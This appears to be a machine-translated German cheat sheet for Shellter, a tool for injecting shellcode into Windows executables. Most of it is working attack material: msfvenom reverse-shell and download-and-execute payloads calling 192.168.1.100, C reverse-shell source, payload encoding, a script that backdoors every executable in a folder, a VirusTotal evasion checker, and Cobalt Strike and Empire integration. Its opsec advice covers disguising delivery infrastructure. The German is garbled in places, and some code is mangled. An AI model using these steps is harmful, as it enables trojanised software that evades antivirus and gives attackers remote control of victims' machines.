Sheller Cheat Blatt

📋 Kopieren Sie alle Befehle PDF generieren

Überblick

Shellter ist ein dynamisches Shellcode-Injektionstool, um Shellcode in native Windows-Anwendungen durch anspruchsvolle PE (Portable Executable) Backdooring-Techniken injizieren. Entwickelt von Kyriakos Economou, Shellter stellt eine signifikante Weiterentwicklung der Antiviren-Evasion-Technologie durch dynamische Analyse und intelligente Injektionsmethoden, die Erkennung extrem schwierig für traditionelle Sicherheitslösungen machen. Im Gegensatz zu statischen Injektionswerkzeugen führt Shellter die Laufzeitanalyse von Zielanwendungen durch, um optimale Injektionspunkte und Ausführungsströme zu identifizieren.

Die Kerninnovation von Shellter liegt in ihrem dynamischen Ansatz zur PE-Modifikation. Anstatt Shellcode einfach an die Ausführbaren anzulegen oder vorhersehbare Injektionsmuster zu verwenden, analysiert Shellter den Ausführungsfluss der Zielanwendung während der Laufzeit, um geeignete Standorte für die Shellcode-Injektion zu identifizieren. Diese dynamische Analyse stellt sicher, dass der injizierte Code nahtlos in die Funktionalität der Original-Anwendung integriert wird, während Stealth beibehalten und gemeinsame Erkennungssignaturen vermieden werden, die von Antiviren-Motoren verwendet werden.

Shellter unterstützt sowohl automatische als auch manuelle Injektionsmodi und bietet Flexibilität für verschiedene Anwendungsfälle und Fähigkeiten. Der automatische Modus bedient den gesamten Einspritzvorgang intelligent, während der manuelle Modus den erfahrenen Benutzern ermöglicht, die Injektionsparameter für bestimmte Szenarien fein abzustimmen. Die Fähigkeit des Tools, die ursprüngliche Funktionalität der Anwendung zu erhalten, während das Hinzufügen von schädlichen Fähigkeiten macht es besonders wertvoll, überzeugende Trojaner-Anwendungen zu erstellen, die Sicherheitskontrollen umgehen und dauerhaften Zugang zu Zielsystemen herstellen können.

Installation

Windows Installation

Installieren von Shellter auf Windows-Systemen:

```bash

Download Shellter from official source

Visit: https://www.shellterproject.com/download/

Extract Shellter archive

unzip shellter.zip -d C:\Tools\Shellter

Navigate to Shellter directory

cd C:\Tools\Shellter

Verify installation

shellter.exe --help

Install Visual C++ Redistributables (if needed)

Download from Microsoft official site

```_

Linux Installation (Wine)

Laufen Shellter auf Linux mit Wein:

```bash

Install Wine

sudo apt update sudo apt install wine winetricks

Configure Wine

winecfg

Install Visual C++ Redistributables

winetricks vcrun2019

Download and extract Shellter

wget https://www.shellterproject.com/shellter/latest/shellter.zip unzip shellter.zip -d ~/shellter

Run Shellter through Wine

cd ~/shellter wine shellter.exe ```_

Docker Umwelt

```bash

Create Dockerfile for Shellter

cat > Dockerfile << 'EOF' FROM ubuntu:20.04 RUN apt-get update && apt-get install -y wine COPY shellter/ /opt/shellter/ WORKDIR /opt/shellter CMD ["wine", "shellter.exe"] EOF

Build container

docker build -t shellter .

Run Shellter in container

docker run -it -v $(pwd):/workspace shellter ```_

Basisnutzung

Automatischer Modus

Verwenden von Shellter im automatischen Modus:

```bash

Start Shellter in automatic mode

shellter.exe

Select operation mode

A # Automatic mode

Choose PE target

C:\path\to\target.exe

Enable stealth mode

Y # Yes to stealth mode

Select payload type

L # Listed payloads 1 # Meterpreter_Reverse_TCP

Configure payload parameters

LHOST: 192.168.1.100 LPORT: 4444

Verify injection

Shellter will automatically inject and save backdoored executable

```_

Betriebsart

Verwenden von Shellter im manuellen Modus für fortgeschrittene Steuerung:

```bash

Start Shellter in manual mode

shellter.exe

Select operation mode

M # Manual mode

Choose PE target

C:\path\to\target.exe

Analyze target application

Shellter will perform dynamic analysis

Select injection method

1 # IAT Hooking 2 # Inline Hooking 3 # Thread Hijacking

Choose injection point

Select from available locations

Provide custom shellcode

C:\path\to\custom_shellcode.bin

Configure injection parameters

Set specific options based on analysis

```_

Stealth Mode

Enabling erweiterte Stealth-Funktionen:

```bash

Enable stealth mode during injection

Y # Enable stealth mode

Polymorphic engine options

Y # Enable polymorphic engine

Anti-emulation techniques

Y # Enable anti-emulation

Junk code insertion

Y # Insert junk code

Control flow obfuscation

Y # Enable CFO ```_

Erweiterte Funktionen

Benutzerdefinierte Shellcode Injektion

Injizieren von benutzerdefinierten Shellcode Nutzlasten:

```bash

Generate custom shellcode with msfvenom

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw > custom_payload.bin

Use custom shellcode in Shellter

shellter.exe M # Manual mode C:\target\application.exe C # Custom shellcode C:\path\to\custom_payload.bin

Configure injection parameters

Select optimal injection point

Apply stealth techniques

```_

Multi-Stage Payloads

Ausführung mehrstufiger Nutzlastlieferung:

```bash

Create stage 1 payload (small downloader)

msfvenom -p windows/download_exec URL=http://192.168.1.100/stage2.exe -f raw > stage1.bin

Inject stage 1 with Shellter

shellter.exe A # Automatic mode C:\target\application.exe Y # Stealth mode C # Custom payload C:\path\to\stage1.bin

Host stage 2 payload

python3 -m http.server 80 ```_

Polymorphe Injektion

Verwendung polymorpher Techniken zur Evasion:

```bash

Enable polymorphic engine

shellter.exe A # Automatic mode C:\target\application.exe Y # Stealth mode Y # Polymorphic engine

Configure polymorphic options

3 # High polymorphism level Y # Enable junk code insertion Y # Enable instruction substitution Y # Enable dead code insertion ```_

Anti-Analyse-Funktionen

Durchführung von Antianalyseverfahren:

```bash

Enable anti-debugging

Y # Anti-debugging techniques

Enable anti-VM detection

Y # Anti-virtualization

Enable anti-emulation

Y # Anti-emulation techniques

Enable sandbox evasion

Y # Sandbox evasion

Configure timing delays

5000 # Milliseconds delay before execution ```_

Nutzlasterzeugung

Metasploit Integration

Erzeugen von Nutzlasten für Shellter Injektion:

```bash

Generate reverse TCP payload

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw > meterpreter.bin

Generate reverse HTTPS payload

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=443 -f raw > meterpreter_https.bin

Generate bind TCP payload

msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f raw > meterpreter_bind.bin

Generate encoded payload

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f raw > encoded_payload.bin ```_

Entwicklung der Nutzlast

Erstellen von benutzerdefinierten Payloads für Injektion:

```c // Simple reverse shell payload

include

include

void reverse_shell() \\{ WSADATA wsaData; SOCKET s; struct sockaddr_in server;

WSAStartup(MAKEWORD(2,2), &wsaData;);
s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

server.sin_family = AF_INET;
server.sin_port = htons(4444);
server.sin_addr.s_addr = inet_addr("192.168.1.100");

connect(s, (struct sockaddr *)&server;, sizeof(server));

// Duplicate handles for cmd.exe
STARTUPINFO si;
PROCESS_INFORMATION pi;

memset(&si;, 0, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)s;

CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si;, π);

\\} ```_

Belastbarkeitscodierung

Kodierung von Nutzlasten für Evasion:

```bash

XOR encoding

python3 -c " import sys key = 0xAA with open('payload.bin', 'rb') as f: data = f.read() encoded = bytes([b ^ key for b in data]) with open('encoded_payload.bin', 'wb') as f: f.write(encoded) "

Base64 encoding

base64 -w 0 payload.bin > payload_b64.txt

Custom encoding script

python3 encode_payload.py payload.bin encoded_payload.bin ```_

Automatisierungsskripte

Batch Processing

```bash

!/bin/bash

Shellter batch processing script

TARGET_DIR="targets" OUTPUT_DIR="backdoored" PAYLOAD_FILE="payload.bin"

mkdir -p $OUTPUT_DIR

echo "Starting batch Shellter processing"

for exe_file in $TARGET_DIR/*.exe; do filename=$(basename "$exe_file") output_file="$OUTPUT_DIR/backdoored_$filename"

echo "Processing: $filename"

# Create Shellter automation script
cat > shellter_auto.txt << EOF

A $exe_file Y C $PAYLOAD_FILE $output_file EOF

# Run Shellter with automation
wine shellter.exe < shellter_auto.txt

echo "Completed: $filename"

done

echo "Batch processing completed" ```_

Prüfung der Nutzlast

```python

!/usr/bin/env python3

Shellter payload testing script

import subprocess import os import time

class ShellterTester: def init(self, shellter_path, target_exe): self.shellter_path = shellter_path self.target_exe = target_exe self.results = []

def test_payload(self, payload_file, output_file):
    """Test payload injection with Shellter"""

    # Create automation script
    automation_script = f"""A

\\{self.target_exe\\} Y C \\{payload_file\\} \\{output_file\\} """

    try:
        # Run Shellter
        process = subprocess.Popen(
            [self.shellter_path],
            stdin=subprocess.PIPE,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )

        stdout, stderr = process.communicate(automation_script)

        # Check if injection was successful
        if os.path.exists(output_file):
            file_size = os.path.getsize(output_file)
            self.results.append(\\\\{
                'payload': payload_file,
                'output': output_file,
                'success': True,
                'size': file_size
            \\\\})
            return True
        else:
            self.results.append(\\\\{
                'payload': payload_file,
                'output': output_file,
                'success': False,
                'error': stderr
            \\\\})
            return False

    except Exception as e:
        print(f"Error testing payload \\\\{payload_file\\\\}: \\\\{e\\\\}")
        return False

def generate_report(self):
    """Generate test report"""
    print("Shellter Testing Report")
    print("=" * 50)

    for result in self.results:
        print(f"Payload: \\\\{result['payload']\\\\}")
        print(f"Success: \\\\{result['success']\\\\}")
        if result['success']:
            print(f"Output Size: \\\\{result['size']\\\\} bytes")
        else:
            print(f"Error: \\\\{result.get('error', 'Unknown')\\\\}")
        print("-" * 30)

Usage

tester = ShellterTester("wine shellter.exe", "target.exe") tester.test_payload("payload1.bin", "backdoored1.exe") tester.test_payload("payload2.bin", "backdoored2.exe") tester.generate_report() ```_

AV Evasion Testing

```python

!/usr/bin/env python3

Antivirus evasion testing for Shellter

import requests import hashlib import time

class AVEvasionTester: def init(self, vt_api_key): self.vt_api_key = vt_api_key self.base_url = "https://www.virustotal.com/vtapi/v2"

def upload_file(self, file_path):
    """Upload file to VirusTotal"""
    url = f"\\\\{self.base_url\\\\}/file/scan"

    with open(file_path, 'rb') as f:
        files = \\\\{'file': f\\\\}
        params = \\\\{'apikey': self.vt_api_key\\\\}

        response = requests.post(url, files=files, params=params)

        if response.status_code == 200:
            return response.json()['scan_id']
        else:
            return None

def get_report(self, scan_id):
    """Get scan report from VirusTotal"""
    url = f"\\\\{self.base_url\\\\}/file/report"
    params = \\\\{'apikey': self.vt_api_key, 'resource': scan_id\\\\}

    response = requests.get(url, params=params)

    if response.status_code == 200:
        return response.json()
    else:
        return None

def test_evasion(self, file_path):
    """Test file against multiple AV engines"""
    print(f"Testing evasion for: \\\\{file_path\\\\}")

    # Upload file
    scan_id = self.upload_file(file_path)

    if not scan_id:
        print("Failed to upload file")
        return None

    # Wait for scan completion
    print("Waiting for scan completion...")
    time.sleep(60)

    # Get report
    report = self.get_report(scan_id)

    if report and report['response_code'] == 1:
        positives = report['positives']
        total = report['total']

        print(f"Detection rate: \\\\{positives\\\\}/\\\\{total\\\\}")
        print(f"Evasion rate: \\\\{((total - positives) / total) * 100:.2f\\\\}%")

        return \\\\{
            'file': file_path,
            'positives': positives,
            'total': total,
            'evasion_rate': ((total - positives) / total) * 100
        \\\\}

    return None

Usage

tester = AVEvasionTester("your_vt_api_key") result = tester.test_evasion("backdoored_app.exe") ```_

Integrationsbeispiele

Metasploit Integration

```ruby

Metasploit module for Shellter automation

require 'msf/core'

class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report

def initialize(info = \\{\\}) super(update_info(info, 'Name' => 'Shellter Automatic Backdoor Generation', 'Description' => 'Automates Shellter for PE backdooring', 'Author' => ['Your Name'], 'License' => MSF_LICENSE ))

register_options([
  OptString.new('TARGET_EXE', [true, 'Target executable path']),
  OptString.new('LHOST', [true, 'Listener host']),
  OptInt.new('LPORT', [true, 'Listener port', 4444])
])

end

def run target_exe = datastore['TARGET_EXE'] lhost = datastore['LHOST'] lport = datastore['LPORT']

print_status("Generating payload...")

# Generate payload
payload_data = generate_payload_exe(\\\\{
  'Format' => 'raw',
  'Options' => \\\\{
    'LHOST' => lhost,
    'LPORT' => lport
  \\\\}
\\\\})

# Save payload to file
payload_file = "/tmp/payload.bin"
File.write(payload_file, payload_data)

# Run Shellter
print_status("Running Shellter...")

automation_script = "A\n#\\\\{target_exe\\\\}\nY\nC\n#\\\\{payload_file\\\\}\n"

cmd = "echo '#\\\\{automation_script\\\\}'|wine shellter.exe"
system(cmd)

print_good("Backdoor generation completed")

end end ```_

Cobalt Strike Integration

```bash

!/bin/bash

Cobalt Strike and Shellter integration

CS_HOST="192.168.1.100" CS_PORT="50050" TARGET_EXE="legitimate_app.exe"

Generate Cobalt Strike beacon

echo "Generating Cobalt Strike beacon..." ./cobaltstrike/beacon_generator.sh -h $CS_HOST -p $CS_PORT -o beacon.bin

Use Shellter to inject beacon

echo "Injecting beacon with Shellter..." cat > shellter_automation.txt << EOF A $TARGET_EXE Y C beacon.bin backdoored_app.exe EOF

wine shellter.exe < shellter_automation.txt

echo "Backdoored application created: backdoored_app.exe" ```_

Integrieren der Welt

```python

!/usr/bin/env python3

Empire and Shellter integration

import requests import base64

class EmpireShellterIntegration: def init(self, empire_url, empire_token): self.empire_url = empire_url self.headers = \\{'Authorization': f'Bearer \\{empire_token\\}'\\}

def generate_stager(self, listener_name):
    """Generate Empire stager"""
    url = f"\\\\{self.empire_url\\\\}/api/stagers"

    data = \\\\{
        'StagerName': 'windows/launcher_bat',
        'Listener': listener_name
    \\\\}

    response = requests.post(url, json=data, headers=self.headers)

    if response.status_code == 200:
        stager_data = response.json()
        return base64.b64decode(stager_data['Output'])

    return None

def create_shellter_payload(self, stager_data, target_exe):
    """Create Shellter payload with Empire stager"""

    # Save stager to file
    with open('empire_stager.bin', 'wb') as f:
        f.write(stager_data)

    # Create Shellter automation script
    automation_script = f"""A

\\{target_exe\\} Y C empire_stager.bin empire_backdoored.exe """

    # Execute Shellter
    import subprocess

    process = subprocess.Popen(
        ['wine', 'shellter.exe'],
        stdin=subprocess.PIPE,
        text=True
    )

    process.communicate(automation_script)

    return 'empire_backdoored.exe'

Usage

integration = EmpireShellterIntegration("http://empire-server:1337", "your_token") stager = integration.generate_stager("http_listener") backdoored_exe = integration.create_shellter_payload(stager, "target.exe") ```_

Fehlerbehebung

Gemeinsame Themen

Windkompatibilität Ausgaben: ```bash

Install required Wine components

winetricks vcrun2019 corefonts

Configure Wine for Windows 10

winecfg

Set Windows version to Windows 10

Install additional dependencies

winetricks d3dx9 vcrun2017 dotnet48

Check Wine logs

export WINEDEBUG=+all wine shellter.exe ```_

** Fehler bei der Analyse:** ```bash

Verify target executable

file target.exe

Check PE structure

objdump -p target.exe

Verify executable permissions

chmod +x target.exe

Test with different target

Some packed executables may not work

```_

** Injektionsfehler:** ```bash

Check payload size

ls -la payload.bin

Verify payload format

hexdump -C payload.bin|head

Test with smaller payload

msfvenom -p windows/exec CMD=calc.exe -f raw > test_payload.bin

Use manual mode for better control

Select different injection points

```_

Debugging

Debugging aktivieren:

```bash

Enable Wine debugging

export WINEDEBUG=+dll,+module wine shellter.exe

Monitor file operations

strace -e trace=file wine shellter.exe

Check system resources

top -p $(pgrep wine)

Monitor network activity

netstat -an|grep wine ```_

Sicherheitsüberlegungen

Operationelle Sicherheit

**File Handling: ** - Verwenden Sie isolierte Testumgebungen - Sicheres Löschen von temporären Dateien - Verschlüsseln Sie den Nutzlastspeicher - Dateizugriffsprotokolle überwachen - Regelmäßige Reinigungsverfahren

Netzwerksicherheit: - Verwenden Sie VPN für die Lieferung von Payload - Implementierung der Verkehrsverschlüsselung - Monitor zur Erkennung - Verwenden Sie legitim aussehende Domains - Regelmäßige Infrastrukturdrehung

Rechtliche und ethische Überlegungen

Authorized Testing Only: - ordnungsgemäße schriftliche Genehmigung erhalten - Definieren Sie klare Grenzen - Alle Aktivitäten - Verantwortliche Offenlegung - Überprüfung der Systemintegrität

Beste Praktiken: - Verwendung in kontrollierten Umgebungen - Regelmäßige Sicherheitsbewertungen - Durchführung von Nachweismaßnahmen - Monitor für unbefugte Nutzung - Bewahren Sie Audit-Strecken

Referenzen

1. [Shellter Offizielle Website](https://_LINK_5__
2. PE Formatdokumentation
3. Antivirus Evasion Techniques
4. Dynamic Analysis Methods
5. [Windows Malware Analysis](__LINK_5___